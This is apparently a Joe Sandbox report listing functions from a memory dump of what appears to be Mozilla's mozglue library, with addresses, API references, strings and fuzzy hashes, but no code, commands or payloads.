Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction ID: 3903b1d65cf20848c713342c61e83fb4e205740b53b16c797599721de9d6bb7c
Opcode Fuzzy Hash: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction Fuzzy Hash: 29C1AD71B04318CBDB18CFA8C9907DEB7B6AF84348F144529D406BBB82DB71AD49CB95

Function 6C5AD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C5ADA88
@, xrefs: 6C5ADAF6
0, xrefs: 6C5ADC7F
1, xrefs: 6C5ADBDD
9, xrefs: 6C5ADE7F
8, xrefs: 6C5ADC08
-, xrefs: 6C5AD7DD
0, xrefs: 6C5AD852

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction ID: ce249c2d85c15ab09f3eef36ed71f8285139c425f59ba3cebf0aee1566210d87
Opcode Fuzzy Hash: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction Fuzzy Hash: F162CF7150C3458FD705EE9AC89075EBBF2AF8A318F184A0DECE54BA51D335D986CB82

Function 6C61545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C618A4B

Strings

~qZl, xrefs: 6C615703, 6C6156C7, 6C61921F, 6C619269, 6C619459, 6C615740, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: f3e47a8d9a74a4474d5a803e9fdfebcbba9b27d2980a759e6adc3b010f372e4b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 46B1D772E0821A8FDB14CF6CCC917E9B7B2EF85314F1902A9C549DBB91D730A985CB94

Function 6C61542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C61925C

Strings

~qZl, xrefs: 6C615703, 6C6156C7, 6C61921F, 6C619269, 6C619459, 6C615740, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a8bd9fab5e846487c4916218042354b369f0e030be6045cf2dedb52953ff0e03
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 77B1C572E0820A8FDB14CF6CCC816EDB7B2AF85314F190279C549DBB95D730A989CB94

Function 6C60C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60C0E9), ref: 6C60C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C60C437
FreeLibrary.KERNEL32(?,6C60C0E9), ref: 6C60C44C

Strings

NtQueryVirtualMemory, xrefs: 6C60C431
ntdll.dll, xrefs: 6C60C413

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction ID: 9bdf78e303547c56877abce20579eb2b07751252da307d4fe5d1ae9b2055ef5d
Opcode Fuzzy Hash: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction Fuzzy Hash: 64E0B678705311ABEF007F77CA98711BBF8FB46745F044516EA4699611EBBCC0028B5E

Function 6C5B9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

' , xrefs: 6C5BA3D8
9, xrefs: 6C5BA5D6
1, xrefs: 6C5BA824
@, xrefs: 6C5BA625
0, xrefs: 6C5BA100
0, xrefs: 6C5BAB22

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: b42bb043a4edba41b499c133d5b18d0f056f612fdd29510ed29ef5fe102c565c
Instruction ID: 48fa66d57d283930fb65c40dbd526f67676e69234deaf4743b0921c3a37ebd22
Opcode Fuzzy Hash: b42bb043a4edba41b499c133d5b18d0f056f612fdd29510ed29ef5fe102c565c
Instruction Fuzzy Hash: 9D82F3719093558BD711CF09C8B026EBFF1FB85718F55892AE8D567E80D335A886CB82

Function 6C5ABEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5AC1CB
__aulldiv.LIBCMT ref: 6C5AC24C
__aulldiv.LIBCMT ref: 6C5AC348
__aullrem.LIBCMT ref: 6C5AC365
__aulldiv.LIBCMT ref: 6C5AC37D

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 245de6b99100109a57bad00e34f5c3793610824de2aaf491627289bb8ed5cf52
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 98322732B046118FC718DE6DC89065ABBE6AFC9310F09867DE495CB395D731ED06CB91

Function 6C5F77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F7A93

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F7AA1

Part of subcall function 6C5C5C50: __aulldiv.LIBCMT ref: 6C5C5DB4
Part of subcall function 6C5C5C50: LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C5F7B31

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3be9d5ebbc94468330d08ce3e294e338f25462bcaf71d3275db2f84d96b0b746
Instruction ID: a423371302ea8f4e9747c20eb7d9f1d6ee17ab8ebaf823c9f9e39393cb153d5e
Opcode Fuzzy Hash: 3be9d5ebbc94468330d08ce3e294e338f25462bcaf71d3275db2f84d96b0b746
Instruction Fuzzy Hash: 5FB17B356083848BDB18CE25C85065FB7E3BBC9358F154A1CE9A567B91DB70ED0BCB82

Function 6C5C8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C5C97EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C9813, 6C5C985D, 6C5C9878, 6C5C9CEB

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 9f040d1a21552f8367d704b9dfd2ef38a30a1ab9c9908b27cb9c785c7fdf1f80
Instruction ID: 8f95e921b366a0e6f68117a83a2b2a19057236243acd26d1dd961e15aa4948f0
Opcode Fuzzy Hash: 9f040d1a21552f8367d704b9dfd2ef38a30a1ab9c9908b27cb9c785c7fdf1f80
Instruction Fuzzy Hash: 04D27C71B056018FD708CF59C990715BBE1BF85328F29C76DE86A8B7A5D731E841CB82

Function 6C5E6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C5E6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6E1E

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction ID: aba1f1f3467fbc824ed1d48b9b1324115ea66d09b32d871feaab0bfb83725fb3
Opcode Fuzzy Hash: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction Fuzzy Hash: 72A18B70618384CFDB15CF25C8907AEBBE2BFC9348F04491DE99A87751DB70A949CB82

Function 6C60B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C5DFE3F), ref: 6C60B720
RtlNtStatusToDosError.NTDLL ref: 6C60B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C5DFE3F), ref: 6C60B760

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 0a00c88aa8d5806d730f0d88d833bfeb95c841e7d0463eb63b321d0ebc603cce
Instruction ID: 208ccdbd87625670ab991a65d271c1716eca94467f10ac90ac706d2c07ba0b37
Opcode Fuzzy Hash: 0a00c88aa8d5806d730f0d88d833bfeb95c841e7d0463eb63b321d0ebc603cce
Instruction Fuzzy Hash: 60F0A470A4420CAEDF099AA5CD85BDE77BD9B4432BF109139D511715C0D774998CC76C

Function 6C5C4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5C4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C5585, 6C5C55A8, 6C5C55C3, 6C5C5624

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction ID: 552be4bf32a83cc4ebc5c9010f34cddcdac87935008786bab9075b186aa3e047
Opcode Fuzzy Hash: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction Fuzzy Hash: D8B28F71B056018FD308CF99C990725BBE2BFC5328B29C76DE4698B7A5D771E841CB82

Function 6C6085F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C608C7C
__aulldiv.LIBCMT ref: 6C608DD7

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: be2a872b49d769d3c629b90ada2b01e3486ff575f3cbb3d8df408d88d4d594d9
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 63328F31F101198BDF1CCE9CC9A17AEB7B6FB88304F16853AD406BB7A0DA349D458B95

Function 6C6176E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C61793C, 6C6179FB, 6C6179C0, 6C617B0B, 6C617E0B, 6C617796

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: a3cc26e547993f11bc2f97b632f64410c61ae1d9ae32e34ce59531f6f6a9e01d
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 62320A71E046198FCB14CF99C890AADFBF2FF88308F648169C549A7B45D731A986CF94

Function 6C616E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C61793C, 6C6179FB, 6C6179C0, 6C617B0B, 6C617E0B, 6C617C03, 6C617C72

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 19bda37819bdebe1013a50c67d88af55cd5de13f1e8fae335f1313da59a29b9d
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F1220975E042198FCB14CF98C880AADF7F2FF88304F6485AAC549A7B45D731A986CF94

Function 6C5E5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5B4A63,?,?), ref: 6C5E5F06

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction ID: 20a62045daa545c748688c10d1c00a7ab334133c17567e59010db0afb843842a
Opcode Fuzzy Hash: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction Fuzzy Hash: E7C1D275D012098BCB04CF99C9906EEBBF2FF8A318FA8415DD8556BB45D732A906CF90

Function 6C5ADFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2e1f68301bfd562901557000d465fea48f4c26b23c6041ca564a9fd8342ef43
Instruction ID: 612a26bbb24358c9d08b0fa2d354c2cfbfec2c92590e9b4fd25579913ee2ef82
Opcode Fuzzy Hash: c2e1f68301bfd562901557000d465fea48f4c26b23c6041ca564a9fd8342ef43
Instruction Fuzzy Hash: 8742C332A087518BD308CE7DC89135EB3E2BFC9364F094B2DE999A7791D774D9428B81

Function 6C5D0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 6b274da699a51902576afb2007428f7aa8669ff043b9c833f60765cb011d3446
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BE221671E00619CFCB14CF98C890AADF7B2FF88314F55869AD44AA7705D731A986CF84

Function 6C61AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction ID: b42411a1024763ab42fed08c8b48809b8ea30ec380ff29545556e980984c3241
Opcode Fuzzy Hash: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction Fuzzy Hash: B7F13971A0C7454FD700CE2CC8913AAB7E2AFC531AF158A2DE4D487F92E774988D8796

Function 6C5AC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 4d7c41bfe003d8dcb3dbffc77e1c1a09eb23f250caaf566cdf5819a47df85da6
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 4BA1A171F0021A8FDB08CEA9C8913AEB7F2AFC9354F188129D915E7791D7356C068BD0

Function 6C5E7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

